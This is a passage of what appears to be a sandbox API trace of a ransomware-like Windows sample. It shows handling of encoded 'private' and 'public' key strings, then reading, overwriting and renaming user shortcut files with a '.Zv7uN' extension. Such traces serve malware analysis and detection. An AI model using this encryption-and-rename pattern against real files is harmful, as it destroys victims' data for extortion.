KmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.770] GetCurrentThreadId () returned 0xa30 [0127.770] GetCurrentThreadId () returned 0xa30 [0127.770] GetCurrentThreadId () returned 0xa30 [0127.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.771] GetCurrentThreadId () returned 0xa30 [0127.771] GetCurrentThreadId () returned 0xa30 [0127.771] GetCurrentThreadId () returned 0xa30 [0127.771] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\google chrome.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.771] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.771] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.772] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x8dd [0127.772] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.772] ReadFile (in: hFile=0x128, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x8dd, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f96c*=0x8dd, lpOverlapped=0x0) returned 1 [0127.774] CloseHandle (hObject=0x128) returned 1 [0127.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.799] WriteFile (in: hFile=0x128, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x8dd, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f978*=0x8dd, lpOverlapped=0x0) returned 1 [0127.802] CloseHandle (hObject=0x128) returned 1 [0127.803] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\google chrome.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\google chrome.lnk.zv7un")) returned 1 [0127.806] GetCurrentThreadId () returned 0xa30 [0127.806] GetCurrentThreadId () returned 0xa30 [0127.806] GetCurrentThreadId () returned 0xa30 [0127.806] GetCurrentThreadId () returned 0xa30 [0127.806] GetCurrentThreadId () returned 0xa30 [0127.806] GetCurrentThreadId () returned 0xa30 [0127.806] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc251c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc251c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Internet Explorer (2).lnk", cAlternateFileName="INTERN~2.LNK")) returned 1 [0127.806] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.806] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.806] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer (2).lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc251c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc251c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x5ad)) returned 1 [0127.806] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer (2).lnk")) returned 0x20 [0127.806] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk", dwFileAttributes=0x80) returned 1 [0127.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8Ke